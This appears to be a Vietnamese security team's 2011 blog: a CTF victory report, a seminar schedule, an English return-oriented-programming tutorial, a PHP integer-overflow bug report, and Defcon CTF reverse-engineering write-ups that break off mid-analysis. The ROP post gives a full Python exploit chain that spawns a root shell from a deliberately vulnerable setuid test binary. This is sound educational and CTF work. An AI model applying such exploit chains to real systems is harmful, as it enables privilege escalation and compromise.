bkitsec

retn

——-We are move to Bkitsec.vn—–

24/11/2011 Posted by | Uncategorized | Leave a comment

SEGFAULT @ BkitSec Team vô địch VCK toàn quốc cuộc thi SV với ATTT

Vừa qua, BkitSec có hai đội tham gia cuộc thi Sinh Viên với An Toàn Thông Tin : BKPRO và SEGFAULT . Đây là cuộc thi về an toàn thông tin chính quy lớn nhất Việt Nam hiện nay. Ở vòng loại miền Nam, 5 bảng đấu với 25 đội từ những trường đại học hàng đầu tham gia, các trận đấu diễn ra hết sức gay cấn. Nhưng rất tiếc, BKPRO vì thiếu một chút may mẵn, đã sớm chia tay với cuộc chơi từ rất sớm. Kết quả chung cuộc vòng loại phía nam, SEGFAULT đạt được mục tiêu là vào chơi trận chung kết toàn quốc, nhưng vẫn chưa thực sự hài lòng vì đã để giải nhất miền nam lọt vào tay của đội ENHACK .

Sáng nay, 15/11, vòng chung kết toàn quốc đã diễn ra. Cùng với SEGFAULT và ENHACK đại diện miền nam, là hai đội KMA1 và KMA2 đến từ Học Viện Kỹ Thuật Mật Mã đại diện miền Bắc. Với tư cách là đương kim vô địch, nhiều năm liền giữ chức quán quân của cuộc thi, KMA là cái tên mà bất kì đội nào cũng phải dè chừng.

Ở vòng thi đầu tiên, phần thi kiến thức ATTT nâng cao, SEGFAULT đã rất xuất sắc dẫn đầu với 320 điểm, hơn hai đội nhì cùng điểm nhau 180 điểm. Ở câu hỏi phụ, hai đội ENHACK và KMA2 tranh nhau từng cái bấm chuông để dành quyền vào vòng trong. Ở câu hỏi phụ, một số tình huống bất ngờ đã diễn ra, làm ban giám khảo nhiều phen đau đầu. Không như vòng loại, may mắn đã không đứng về ENHACK lần nữa, và KMA2 đã dành quyền vào vòng trong, thi đấu với SEGFAULT.

Vòng thực hành, một số bài dạng tìm và tận dụng lỗi Web khá hay, nhưng do không phải là “nghề” của các thành viên SEGFAULT, nên cũng không lấy được trọng vẹn 100% điểm ở phần này. Phần còn lại là thử khả năng dùng tool của các thành viên trong đội, cũng là một thử thách rất ghê gớm. Dù các tool được cho trước là những tool có thể là quen thuộc với rất nhiều người, nhưng với SEGFAULT lại thành vấn đề lớn. Thứ nhất việc học sử dụng một tool mới chỉ dựa vào option -h thì quả là khó khăn. Hơn thế nữa, với thói quen dùng tool tự viết từ xưa đến nay, thay đổi phong cách cũng đã ngốn của SEGFAULT không ít thời gian.

Kết thúc vòng thực hành, SEGFAULT chỉ ghi được 330 điểm, KMA2 rất xuất sắc với 480 điểm.

Kết quả chung cuộc SEGFAULT dành ngôi vô địch với tổng điểm 650, tổng điểm cao nhất từ trước đến nay trong khuôn khổ cuộc thi Sinh Viên Với An Toàn Thông Tin.

Toàn thể đội SEGFAULT rất biết ơn đến BTC cuộc thi, những người đã ngàyđêm dốc sức để cuộc thi hoàn thành tốt đẹp. Và hơn nữa, là cảm ơn những người anh đã ngày ngày theo chân BkitSec, định hướng, chỉ dẫn, dạy bảo.

15/11/2011 Posted by | off topic | | 2 Comments

vnsec/bkitsec offline conference

Bắt đầu từ tuần này, mỗi sáng thứ 7 vnsec/bkitsec sẽ có một buổi thảo luận về các vấn đề liên quan tới information security. Các topic dự trù sẽ được đưa vào danh sách dự kiến va lần lượt được trình bày bởi thành viên.

Queue People/Topic/Ref:

—suto : Use after free vulnerability detection/exploitation ( Part 1) / http://cwe.mitre.org/data/definitions/416.html ( case study CVE-2010-0249 aka Aurora )
* Hầu hết các lỗi bảo mật nghiêm trọng gần đây trong web browser đều cùng một nguồn gốc từ việc quản lí đối tượng, một đối tượng bị xóa đi nhưng lại được sử dụng sau đó sẽ dẫn đến lỗi dùng-sau khi-xóa ( used after free), giả sử rằng ngay sau khi bị xóa, attacker có thể điều khiển vùng nhớ đã thuộc về nó ( bằng cách tạo đối tượng khác chẳng hạn….), thông qua việc sử dụng lại một hàm gọi trong đối tượng đó, ứng dụng bị lỗi đã hoàn toàn nằm dưới quyền điều khiển của attacker….
—g4mm4: R.I.P blind sql injection….
* Blind SQL injection với một nhược điểm là phải đoán từng kí tự kéo theo đó là việc tạo ra nhiều request liên tục để kiểm thử, g4mm4 đã tìm ra một giải pháp để chỉ sử dụng 1 request cho việc này……
—caonguyen: static vulnerability detection via machine code.(Part 1)
/ http://www.phrack.com/issues.html?issue=64&id=8
* Không có source code trong tay, làm sao để xác định xem một phần mềm, một ứng dụng hay một thư viện (động hay tĩnh) có ẩn chứa trong nó nguy cơ nào về bảo mật hay không? caonguyen sẽ trình bày những khái niệm căn bản để tiếp cận với quy trình xây dựng một công cụ kiểm tra lỗ hổng cho mã máy ….

Advisor: xichzo/rd .

Time/Place: /TBA

PS: Mọi ý kiến thắc mắc hay yêu cầu chủ đề các bạn vui lòng comment phía dưới!

14/11/2011 Posted by | off topic | Leave a comment

Advance exploitation: ROP with libc function

Advance exploitation: ROP with libc function

Most idea from
http://auntitled.blogspot.com/2011/09/rop-with-common-functions-in.html
http://research.shell-storm.org/files/research-18-en.phpI used the example in auntitled blog. This code is simple (just like helloworld in exploitation):

int main(int argc, char **argv) {
    char buf[64];
    strcpy(buf, argv[1]);
    return 0;
}

But can we exploit this buffer overflow with:

$ gcc -fno-stack-protector -Wl,-z,relro,-z,now -o testfoo testfoo.c
$ checksec.sh --file testfoo
RELRO           STACK CANARY      NX            PIE                     FILE
Full RELRO      No canary found   NX enabled    No PIE                  testfo
$ cat /proc/sys/kernel/randomize_va_space
2
$ uname -a
Linux Freedom 3.0.0-12-generic #20-Ubuntu SMP Fri Oct 7 14:50:42 UTC 2011 i686 i686 i386 GNU/Linux

– With relro compiled option, we can’t use instructions to modify the got entry. RELRO option makes each entry in the .got session become read-only after relocation by the linker. RELRO is not well known memory corruption mitigation technique
– With Ubuntu 11.10 with full ASLR
– Just there no stack canary and no position-independent executable (PIE)
You can get compiled binary from here

So, how to exploit with NX, ASLR, RELRO, Ascii-armor, etc …?
The answer is Return-Oriented Programming (ROP). The ideal of ROP is quite simple, but how to use it is not easy (at least right to me)
Some references about ROP if you are not familiar with this exploit technique:
– http://en.wikipedia.org/wiki/Return-oriented_programming
– http://www.vnsecurity.net/2010/08/ropeme-rop-exploit-made-easy/

OK, let’s start exploit.
The fist thing when starting generate an exploit is what we want to do.
In this example, I’ll try to make a ROP payload that like when we call a function in C:

execute("/bin/sh",0,0)

We need to do:
– Make an address that point to execve function that was loaded in memory (Note: ASLR make this address change each time we execute the binary)
– Make an “/bin/sh” string or “/bin//sh” (8 bytes), it’s not exist in memory at fixed address (if any).
The stack that we must make to ROP exploit woking look like:

NULL
NULL
address[/bin//sh]
address[exit]
address[execve]

That like a stack of C program when execve(“/bin//sh”,0,0) is called.

So, how can we have an address of execve?

$ objdump -R testfoo

testfoo:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE
08049ffc R_386_GLOB_DAT    __gmon_start__
08049ff0 R_386_JUMP_SLOT   strcpy
08049ff4 R_386_JUMP_SLOT   __gmon_start__
08049ff8 R_386_JUMP_SLOT   __libc_start_main

As you can see, there is no execve in source code and in GOT entry too.
But we have strcpy – a libc function, then we can calculate the offset from strcy to execve. This offset does not change by ASLR.

gdb$ p execve - strcpy
$1 = 0x25ba0

Because the offset between execve and strcpy always do not change, we can use the strcpy address (in GOT entry) plus the offset (0x25ba0 – calculated as above) to get the execve address.

Next, we need to make “/bin//sh” exists at fixed address (we can put it in .data or .bss session).
There are two solution:
– Use strcpy and copy one-by-one (or more if any) byte to specified address.
– Use assembly instruction (add or mov) to modify memory at specified address.
I will use the second, because it’s more generic than the first. We just only use the sequence of instructions to build the payload.

When building a ROP payload, there are some problems:
– Find gadget that can change value of some registers
– Find gadget that can store controllable value (from registers or immediate values) to specified memory address.
– Find gadget that can loaded value form specified memory address.

In the __do_global_ctors_aux function, we have:

gdb$ x/3i 0x080484b7
0x80484b7 <__do_global_ctors_aux+39>:    pop    ebx
0x80484b8 <__do_global_ctors_aux+40>:    pop    ebp
0x80484b9 <__do_global_ctors_aux+41>:    ret

So, we can change value of EBX register (and EBP too).
Build gadget in python:

def pop_ebx(ebx):
        ret = pack("<i", 0x80484b7)
        ret += pack("<i", ebx)
        ret += "AAAA"

        return ret

Still in the __do_global_ctors_aux function we have:

gdb$ x/5i 0x80484ae
   0x80484ae <__do_global_ctors_aux+30>:    add    eax,DWORD PTR [ebx-0xb8a0008]
   0x80484b4 <__do_global_ctors_aux+36>:    add    esp,0x4
   0x80484b7 <__do_global_ctors_aux+39>:    pop    ebx
   0x80484b8 <__do_global_ctors_aux+40>:    pop    ebp
   0x80484b9 <__do_global_ctors_aux+41>:    ret

EBX register is controllable, then we can load value from specified address to EAX register.

def add_from_mem_to_eax(addr):
        ebx = addr + 0xb8a0008
        ret = pop_ebx(ebx)
        ret += pack("<i", 0x80484ae)
        ret += "A"*0xc

        return ret

In the __do_global_dtors_aux function, you can see like this:

gdb$ x/2i 0x80483ae
   0x80483ae <__do_global_dtors_aux+78>:    add    DWORD PTR [ebx+0x5d5b04c4],eax
   0x80483b4 <__do_global_dtors_aux+84>:    ret

Both EAX and EBX registers are controllable, and we can modify a specified memory address with selected value.

def add_eax_to_mem(addr):
        ebx = addr - 0x5d5b04c4
        ret = pop_ebx(ebx)
        ret += pack("<i", 0x80483ae)

        return ret

There is a problem: We can add a selected value (from memory) to EAX register, it look like EAX = EAX + seleted_value. To totally control value of EAX register, we must set EAX register value before using it.

gdb$ x/7i 0x08048426
   0x8048426 <__libc_csu_init+22>:    lea    edi,[ebx-0xec]
   0x804842c <__libc_csu_init+28>:    call   0x80482b4 <_init>
   0x8048431 <__libc_csu_init+33>:    lea    eax,[ebx-0xec]
   0x8048437 <__libc_csu_init+39>:    sub    edi,eax
   0x8048439 <__libc_csu_init+41>:    sar    edi,0x2
   0x804843c <__libc_csu_init+44>:    test   edi,edi
   0x804843e <__libc_csu_init+46>:    je     0x8048469 <__libc_csu_init+89>
gdb$ x/6i 0x8048469
   0x8048469 <__libc_csu_init+89>:    add    esp,0x1c
   0x804846c <__libc_csu_init+92>:    pop    ebx
   0x804846d <__libc_csu_init+93>:    pop    esi
   0x804846e <__libc_csu_init+94>:    pop    edi
   0x804846f <__libc_csu_init+95>:    pop    ebp
   0x8048470 <__libc_csu_init+96>:    ret

It looks complicated, but it’s very useful. EBX register can be controlled, and then, we can set both EDI and EAX register with any value by lea (load effective address) instruction. Ignore the call _init function, it’s not have any effect in here.
Because EDI and EAX have same value, the sub instruction will make EDI equal zero, the execution will happen as we want to.

def set_eax_and_add_to_mem(value, addr):
        eax = value - 0x804a008
        ebx = eax + 0xec
        ret = pop_ebx(ebx)
        ret += pack("<i", 0x08048426)
        ret += "A"*0x2c

        ebx = addr - 0x5d5b04c4
        ret += pop_ebx(ebx)
        ret += pack("<i", 0x80483a9)

        return ret

With:

gdb$ x/3i 0x80483a9
   0x80483a9 <__do_global_dtors_aux+73>:    add    eax,0x804a008
   0x80483ae <__do_global_dtors_aux+78>:    add    DWORD PTR [ebx+0x5d5b04c4],eax
   0x80483b4 <__do_global_dtors_aux+84>:    ret

And finally, we just need one more gatget to control execution flaw:

def set_ebp_for_leave_ret(addr):
        ebp = addr - 4

        # pop ebp ; ret
        ret = pack("<i", 0x80484b8)
        ret += pack("<i", ebp)

        # leave  ; ret
        ret += pack("<i", 0x80483e1)

        return ret

Last python function is combine all gatget function (defined as above) to build a payload:

def exploit(eip_offset):
        # offset to saved EIP
        ret = "A"*eip_offset

        # GOT entry of strcpy
        strcpy_got = 0x08049ff0

        # offset between execve and strcpy
        execve_strcpy = 0x25ba0

        # specified stack layout address
        data = 0x0804a138

        # set eax = offset of execve - strcyp = 0x25ba0 (with my libc version)
        # we do not use 4 bytes store at data address
        ret += set_eax_and_add_to_mem(execve_strcpy, data)

        # read GOT entry of strcpy and add to eax
        # execve = offset + strcpy
        # with RELRO, this entry cannot write
        ret += add_from_mem_to_eax(strcpy_got)

        # add execve address to specified address
        ret += add_eax_to_mem(data+4)

        # write "/bin//sh" to data+90 (we can chose any writable address)
        ret += set_eax_and_add_to_mem(unpack("<i","/bin")[0], data+90)
        ret += set_eax_and_add_to_mem(unpack("<i","//sh")[0], data+94)
        shell = data + 90

        # to avoid NULL byte in payload, we must write one-by-one byte in here
        # Ignore 4 bytes (from data+8), it's return address if execve() failed.
        byte = shell & 0xffffff00 ^ shell
        ret += set_eax_and_add_to_mem(byte, data+12)
        byte = (shell & 0xffff00ff ^ shell) >> 8
        ret += set_eax_and_add_to_mem(byte, data+13)
        byte = (shell & 0xff00ffff ^ shell) >> 16
        ret += set_eax_and_add_to_mem(byte, data+14)
        byte = (shell & 0x00ffffff ^ shell) >> 24
        ret += set_eax_and_add_to_mem(byte, data+15)

        # all done, just move esp to our stack layout and ret to execve()
        ret += set_ebp_for_leave_ret(data+4)

        # check again if there is NULL byte
        if '\x00' in ret:
                print 'WARNING: NULL byte problem'
                sys.exit(1)

        # print the payload to stdout
        print ret

Time to run exploit:

$ ls -l testfoo
-rwsr-xr-x 1 root caonguyen 7087 2011-10-16 01:32 testfoo
$ ./testfoo `python exploit.py `
# id
uid=1000(caonguyen) gid=1000(caonguyen) euid=0(root) groups=0(root),4(adm),20(dialout),24(cdrom),46(plugdev),116(lpadmin),118(admin),124(sambashare),1000(caonguyen)
#

PWNED

19/10/2011 Posted by | exploit, ROP | Leave a comment

php 5.3.8(latest) memory corruption issues

Sau khi audit một số code của php mình tìm ra được 2 bug liên quan đến việc kiểm tra độ dài của chuỗi nhận vào. Cụ thể như sau:

Trong function parse_ini_string:

char *string = NULL, *str = NULL;
	int str_len = 0;
	zend_bool process_sections = 0;
	long scanner_mode = ZEND_INI_SCANNER_NORMAL;
	zend_ini_parser_cb_t ini_parser_cb;

	if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s|bl", &str, &str_len, &process_sections, &scanner_mode) == FAILURE) {
		RETURN_FALSE;
	}

	/* Set callback function */
	if (process_sections) {
		BG(active_ini_file_section) = NULL;
		ini_parser_cb = (zend_ini_parser_cb_t) php_ini_parser_cb_with_sections;
	} else {
		ini_parser_cb = (zend_ini_parser_cb_t) php_simple_ini_parser_cb;
	}

	/* Setup string */
	string = (char *) emalloc(str_len + ZEND_MMAP_AHEAD);
	memcpy(string, str, str_len);
	memset(string + str_len, 0, ZEND_MMAP_AHEAD);

Ở :
string = (char *) emalloc(str_len + ZEND_MMAP_AHEAD);
giả sử string input vào có độ lớn là (INT_MAX – 1) lúc này khi cộng vào với ZEND_MMAP_AHEAD sẽ dẫn tới tràn số ( INT_MAX – 1 + ZEND_MMAP_AHEAD) = 31, và string sẽ được malloc với độ dài 31 nhưng sau đó sẽ bị copy vào một chuỗi với độ dài rất lớn dẫn tới tràn heap.

## PHP đã fix bug này ở revison 316285 sau khi mình report.

06/09/2011 Posted by | bug | Leave a comment

Defcon 19 Gold


gold: ELF 32-bit LSB executable, Intel 80386, version 1 (FreeBSD), dynamically linked (uses shared libs), for FreeBSD 8.2, stripped

Chuong trinh chay duoi quyen User “gold” ve co ban la mot game nho khi nguoi choi ket noi toi port 2069 se nhan duoc huong dan nhu sau:


# nc -vv localhost 2069
 nc: connect to localhost port 2069 (tcp) failed: Connection refused
 Connection to localhost 2069 port [tcp/*] succeeded!
 You are in a green room (2,2,2)
 You can see:sledge, gold, gold
 Possible exits:nowhere
 You are carrying:nothing
 _north _south _east _west _up _down _get d_rop _arm _hit e_xchange _Quit
 >
 

Dich nguoc lai tu file thuc thi cua game phan co ban tuong tac voi nguoi choi o cac ham sau:


void __cdecl handleSock(int fd)
{
	int iloop; // esi@1
	int i; // ebx@1
	unsigned int time; // eax@1
	int v4; // eax@2
	char v5; // bl@3
	int v6; // ebx@9
	int v7; // edx@10
	bool v8; // eax@11

	iloop = 0;
	i = 0;
	time = ::time(0);
	srand(time);
	do{
		unk_804D440[i] = calcVal(0, 3);
		v4 = calcVal(0, 3);
		unk_804D448[i] = iloop++;
		unk_804D444[i] = v4;
		i += 3;
		}
	while ( iloop != 4 );
	v5 = 0;
	currentStatus = (ItemInfo *)sub_8049D40(1, 3, 0);
	intArr2[0] = calcVal(0, 3);
	intArr2[1] = calcVal(0, 3);
	intArr2[2] = calcVal(0, 3);
	intArr3[0] = calcVal(0, 3);
	intArr3[1] = calcVal(0, 3);
	intArr3[2] = calcVal(0, 3);
	while ( !(unsigned __int8)calcVal1(intArr2) ){
		if ( v5 )
			goto LABEL_13;
		if ( (unsigned __int8)calcVal1(intArr3) ){
		if ( !buff512 ){
			send3(fd, "You can't see anything around you\n");
			send3(fd, "_north _south _east _west _up _down _get d_rop _arm _hit e_xchange _Quit\n> \n");
			buff512 = (char *)malloc(512u);
			if ( read1(fd, (int)buff512, 512, '\n') > 0 )
				buff512[512] = 0;
			}
		}
	startGame(fd);
	v5 = playGame(fd);
	}
	v6 = 0;
	send3(fd,"At the end you reached the goal room! I don't know\nif you enjoyed the trip, nor if you've found what you\nwas searching for... I only hope you know better how\nto curse now!!\n\n");
	if ( holdItem ){
		v7 = 0;
		do{
			v8 = playerItems[v7++] == 3;
			v6 += v8;}
		while ( v7 != holdItem );
		}
	send3(fd, "You earned %d pieces of gold\n\n", v6);
LABEL_13:
		endGame();
	}

O ham startGame:


int __cdecl startGame(int sockfd)
{
	ItemInfo *v1; // eax@4
	signed int v2; // ebx@6
	int v3; 	// eax@10
	ItemInfo *v4; // ecx@11
	int v5; // edx@15
	int i; // ebx@17
	int v7; // esi@17
	unsigned int v8; // ebx@22
	unsigned int v9; // esi@22
	int v10; // eax@25
	int v12; // eax@33

	itemCarry[0] = 0;
	send3(sockfd, "You are in ");
	if ( LOBYTE(currentStatus[1].direction[1]) )
		send3(sockfd, "the ");
	else
	send3(sockfd, "a ");
	send3(sockfd, "%s (%d,%d,%d)\n", 	gameOutput[currentStatus[1].direction[0]], current[0], current[1], current[2]);
	send3(sockfd, "You can see:");
	itemCarry[0] = 4;
	if ( unk_804D440[3 * current[2]] == current[0] && unk_804D444[3 * current[2]] == current[1] ){
	resetGameItems(currentStatus->itemList, (int)&currentStatus->itemRemain, 2);
	v12 = 3 * current[2];
	unk_804D440[3 * current[2]] = -1;
	unk_804D444[v12] = -1;
	}
	v1 = currentStatus;
	if ( currentStatus->itemRemain ){
		if ( currentStatus->itemRemain > 0 ){
			v2 = 0;
			do{
				v3 = gameOutput[v1->itemList[v2] + 10];
				if ( !v3 )
					v3 = (int)buff512;
				send3(sockfd, "%s", v3);
				v4 = currentStatus;
				if ( currentStatus->itemRemain - 1 > v2 ){
					send3(sockfd, ", ");
					v4 = currentStatus;
				}
				if ( v2 == 6 * v2 / 6 )
					itemCarry[0] += v2 > 0;
				++v2;
				v1 = v4;
			}while ( v4->itemRemain > v2 );
			}
		}
		else{
			send3(sockfd, "nothing");
		}
		v5 = 7;
		if ( itemCarry[0] > 5 )
		v5 = itemCarry[0] + 1;
		itemCarry[0] = v5;
		i = 0;
		v7 = 0;
		send3(sockfd, "\nPossible exits:");
		do{
			if ( currentStatus->direction[i] ){
				++v7;
				send3(sockfd, "%s ", *(_DWORD *)&strDirection[4 * i]);}
++i;
		}while ( i != 6 );
		if ( !v7 )
		send3(sockfd, "nowhere");
		itemCarry[0] += 2;
		v8 = 0;
		v9 = 0;
		send3(sockfd, "\nYou are carrying:");
		if ( holdItem ){
				do{
					while ( 1 ){
					v10 = gameOutput[playerItems[v8] + 10];
					if ( !v10 )
						v10 = (int)buff512;
					send3(sockfd, "%s", v10);
					if ( holdItem - 1 > v9 )
						break;
					++v8;
					v9 = v8;
					if ( holdItem <= v8 )
						goto LABEL_28;
				}
				++v8;
				v9 = v8;
				send3(sockfd, ", ");
				}while ( holdItem > v8 );
			}
		else{
			send3(sockfd, "nothing");
			}
	LABEL_28:
		itemCarry[0] += 2;
		send3(sockfd, "\n_north _south _east _west _up _down _get d_rop _arm _hit e_xchange _Quit");
		return send3(sockfd, "\n> \n");
}

Phan nay co ban se tinh toan ra cac thong so ban dau cua game va hien thi ra vi tri, cac item co the nhin thay….

Tiep theo la ham xu li playGame:


signed int __cdecl playGame(int fd)
{
BYTE *choose; // eax@1
BYTE *choose1; // edi@1
int numItem_; // ebx@2
signed int j; // ecx@3
int v5; // eax@4
char *v7; // ebx@13
char *v8; // eax@13
ItemInfo *v9; // esi@13
int indexDir; // eax@13
int *currenStatus_; // esi@19
int i; // ebx@21
int v13; // eax@23
int dir; // [sp+18h] [bp-10h]@13

while ( 2 ){
	choose = recv_1byte(fd);
	choose1 = choose;
	switch ( choose )	{
		default:
		continue;
		case 'x':
			numItem_ = holdItem;
			if ( holdItem > 1u ){
				j = 1;
			do{
				v5 = playerItems[j];
				playerItems[j] = gameItems[j];
				gameItems[j++] = v5;
			}while ( j != numItem_ );
				}
			return 0;
		case 'r':
			if ( (unsigned __int8)dropItem(fd) )
				return 0;
			continue;
		case 'h':
			if ( hit(fd) )
				return 0;
			continue;
		case 'g':
			if ( currentStatus->itemRemain ){
				if ( getItem(fd) )
					return 0;
				}
			else{
				send3(fd, "there's nothing I can get\n");
			}
			continue;
		case 'd':
		case 'e':
		case 'n':
		case 's':
		case 'u':
		case 'w':
			v7 = direction;
			v8 = strchr(direction, (int)choose);
			v9 = currentStatus;
			indexDir = v8 - v7;
			dir = indexDir;
			if ( !currentStatus->direction[indexDir] )// EndMap{
				send3(fd, "can't go %s\n", *(_DWORD *)&strDirection[4 * indexDir]);
				continue;
			}
			if ( holdItem ){
				if ( choose1 != (BYTE *)'u' && choose1 != (BYTE *)'d' )
					goto LABEL_17;
			if ( gameItems[holdItem] == 2 )
				goto LABEL_35;
			send3(fd, "Hm, I need to use a ladder...\n");
			continue;
			}
			if ( choose1 == (BYTE *)'u' || choose1 == (BYTE *)'d' ){
				LABEL_35:
				dropItem(fd);
				v9 = currentStatus;}
	LABEL_17:
		LOBYTE(v9[1].direction[1]) = 1;
		current[0] += Map1[3 * dir];
		current[1] += Map2[3 * dir];
		current[2] += Map3[3 * dir];
		currentStatus = (ItemInfo *)v9->direction[dir];
		return 0;
	case 'b':
		ddtek_backdoor(fd, 0);
		continue;
	case 'X':
		currenStatus_ = (int *)currentStatus;
		if ( currentStatus->itemRemain > 1 && currentStatus->itemRemain - 1 > 0 ){
			for ( i = 0; ; ++i ){
				v13 = currenStatus_[i + 6];
				currenStatus_[i + 6] = currenStatus_[i + 7];
				currenStatus_[i + 7] = v13;
				if ( currenStatus_[26] - 1 <= i + 1 )
					break;
				}
			}
		return 0;
	case 'Q':
		send3(fd, "quit");
		return 1;
	case 'a':
		if ( (unsigned __int8)Arm(fd) )
		return 0;
	continue;
		}
	}
}

Chuong trinh se thuc hien vong lap de nhan input tu nguoi choi, voi moi truong hop chon se goi ra 1 ham xu li tuong ung, lay thi du nguoi choi chon vao ‘g’ tuc la GetItem, chuong trinhse thuc hien ham tuong ung:


bool __cdecl getItem(int a1)
{
int indexItem; // ecx@1
ItemInfo *status; // edx@2
int avai; // eax@2
int t; // eax@3
bool result; // eax@4

indexItem = holdItem;
if ( holdItem == 25 ){
	send3(a1, "You are carrying too much!\n");
	result = 0;
	}
else{
	status = currentStatus;
	avai = currentStatus->itemRemain;
	if ( avai > 0 ){
		t = avai - 1;
		currentStatus->itemRemain = t;
		playerItems[indexItem] = status->itemList[t];
		holdItem = indexItem + 1;
		}
	result = 1;
	}
return result;
}

Trong truong hop nguoi choi chon ‘a’ chuong trinh se thuc hien:


int __cdecl Arm(int a1)
{
int item; // eax@2
int result; // eax@6
char buff[512]; // [sp+10h] [bp-208h]@10

if ( holdItem ){
	item = playerItems[holdItem - 1];
	if ( item == 4 ){
		send3(a1, "Sledge already armed and ready to fire!\n");
		result = 0;
		}
else{
	if ( item == 1 ){
		playerItems[holdItem - 1] = 4;          // set to Armed
		result = 1;
		}
	else{
		send3(a1, "I can't arm ");
	if ( gameOutput[gameItems[holdItem] + 10] ){
		send3(a1, (const char *)gameOutput[gameItems[holdItem] + 10]);
		}
	else{
		snprintf(buff, 0x200u, buff512);
		send3(a1, buff);
	}
	send3(a1, "\n");
	result = 0;
			}
		}
	}
	else{
		send3(a1, "What should I arm?!\n");
		result = 0;
	}
	return result;
}

O dong:

snprintf(buff, 0x200u, buff512);

chuong trinh bi loi format string.

17/08/2011 Posted by | bug, CTF, exploit | Leave a comment

DC19 Quals Retro 400 WriteUp

Retro 400 là một bài về VM khá phức tạp, vấn đề chính xoay quanh việc reverse để tìm ra cú pháp của vmcode để có thể input vào và tìm ra bug trong việc xử lí input của vm.

Bắt đầu với function được gọi sau khi start chương trình:

void __cdecl sub_80496F0(signed int a1, int a2)
{
  char v2; // zf@1
  signed int v3; // ecx@1
  signed int v4; // ebx@1
  int v5; // edi@1
  char *v6; // esi@1
  int v7; // [sp+0h] [bp-114h]@1
  char s; // [sp+4h] [bp-110h]@1
  signed int *v9; // [sp+108h] [bp-Ch]@1
  __int64 v10; // [sp+114h] [bp+0h]@1

  HIDWORD(v10) = &v10;
  v5 = (int)"HistoryRepeatsItself\n";
  v9 = &a1;
  v4 = a1;
  v6 = &s;
  v7 = a2;
  fwrite("Password: ", 1u, 0xAu, off_80D3368);
  fgets(&s, 256, off_80D3360);
  v3 = 22;
  do
  {
    if ( !v3 )
      break;
    v2 = *v6++ == *(_BYTE *)v5++;
    --v3;
  }
  while ( v2 );
  if ( v2 )
  {
    sub_8048AE0(v4, v7);
    while ( 1 )
      sub_8048DE0();
  }
  exit(0);
}


Ở đây chương trình sẽ đọc và kiểm tra PassWord so với chuỗi HistoryRepeatsItself, nếu đúng sẽ gọi sub_8048AE0 với tham số là argv[1] và argv[2]. Tiếp tục với sub_8048AE0:

int __cdecl sub_8048AE0(signed int a1, int a2)
{
  FILE *v2; // esi@2
  int i; // edi@4
  size_t v4; // eax@5
  size_t v5; // ebx@5
  int v6; // eax@7
  int v7; // edi@8
  int v8; // esi@8
  void *v9; // eax@10
  int v10; // ebx@10
  char v11; // cl@12
  int v12; // eax@15
  int j; // ecx@21
  int v14; // eax@22
  char v15; // dl@22
  char v16; // dl@23
  int v17; // eax@24
  int result; // eax@26
  int v19; // eax@31
  void *v20; // [sp+18h] [bp-420h]@4
  char ptr; // [sp+1Ch] [bp-41Ch]@5
  int v22; // [sp+41Ch] [bp-1Ch]@30
  int v23; // [sp+420h] [bp-18h]@30
  char *v24; // [sp+424h] [bp-14h]@30
  int v25; // [sp+428h] [bp-10h]@30

  if ( a1 <= 1 )
  {
    v2 = off_80D3360;
    dword_80E4FC0 = 0;
    dword_80E49A0 = 0;
  }
  else
  {
    dword_80E49A0 = a2 + 8;
    dword_80E4FC0 = a1 - 2;
    v2 = fopen(*(const char **)(a2 + 4), "r");
  }
  if ( !v2 )
  {
    perror(*(const char **)a2);
    exit(0);
  }
  v20 = 0;
  for ( i = 0; ; memcpy_0((void *)(i + v19 - v5), &ptr, v5) )
  {
    while ( 1 )
    {
      v4 = fread(&ptr, 1u, 0x400u, v2);
      v5 = v4;
      if ( v4 != -1 )
        break;
      if ( *(_DWORD *)sub_807B300() != 4 && *(_DWORD *)sub_807B300() != 35 )
        goto LABEL_35;
    }
    if ( !v4 )
      break;
    i += v4;
    v19 = realloc(v20, i);
    if ( !v19 )
      goto LABEL_35;
    v20 = (void *)v19;
  }
  v6 = malloc1(i);
  dword_80E49A8 = 0;
  dword_80E4FCC = v6;
  dword_80E49A4 = v6;
  dword_80E49AC = v6;
  if ( !v6 )
    goto LABEL_35;
  v7 = (int)((char *)v20 + i);
  v8 = (int)v20;
  while ( v8 < (unsigned int)v7 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        v9 = memchr((const void *)v8, 10, v7 - v8);
        v10 = (int)v9;
        if ( v9 )
          break;
        v10 = v7 - 1;
        if ( v8 < (unsigned int)(v7 - 1) )
          goto LABEL_12;
LABEL_29:
        if ( *(_BYTE *)v8 == ' ' )
          goto LABEL_30;
LABEL_21:
        for ( j = v8 + 1; j < (unsigned int)v10; dword_80E49AC = v14 + 1 )
        {
          v14 = dword_80E49AC;
          v15 = *(_BYTE *)j++;
          *(_BYTE *)dword_80E49AC = v15;
        }
        v16 = *(_BYTE *)j;
        if ( *(_BYTE *)j != '\n' )
        {
          v17 = dword_80E49AC;
          ++j;
          *(_BYTE *)dword_80E49AC = v16;
          dword_80E49AC = v17 + 1;
        }
        v8 = j + 1;
        if ( j + 1 >= (unsigned int)v7 )
          goto LABEL_26;
      }
      if ( v8 >= (unsigned int)v9 )
        goto LABEL_29;
LABEL_12:
      v11 = *(_BYTE *)v8;
      if ( *(_BYTE *)v8 == ' ' )
        break;
      if ( v11 == '\t' )
        break;
LABEL_14:
      v8 = v10 + 1;
    }
    v12 = v8;
    while ( 1 )
    {
      ++v12;
      if ( v12 == v10 )
        break;
      while ( *(_BYTE *)v12 != ' ' )
      {
        if ( *(_BYTE *)v12 != '\t' )
          goto LABEL_14;
        ++v12;
        if ( v12 == v10 )
          goto LABEL_20;
      }
    }
LABEL_20:
    if ( v11 != ' ' )
      goto LABEL_21;
LABEL_30:
    v25 = v10 - (v8 + 1);
    v24 = (char *)(v8 + 1);
    v8 = v10 + 1;
    sub_80487B0((struc_2 *)&v24, (struc_2 *)&v22);
    sub_8048A20(v22, v23);
  }
LABEL_26:
  result = dword_80E4FCC;
  if ( dword_80E4FCC == dword_80E49AC )
LABEL_35:
    exit(0);
  return result;
}

Một cách cơ bản function này sẽ làm những thao tác sau:

Đọc file từ argv2 được đưa vào, đưa nội dung vào một buffer.
Đọc từng dòng thông qua việc tìm “\n” trong buffer. Đối với mỗi dòng nó sẽ tìm kiếm ” “( Space ) và “\t” (Tab), nếu không có nó sẽ tiếp tục qua dòng tiếp theo.
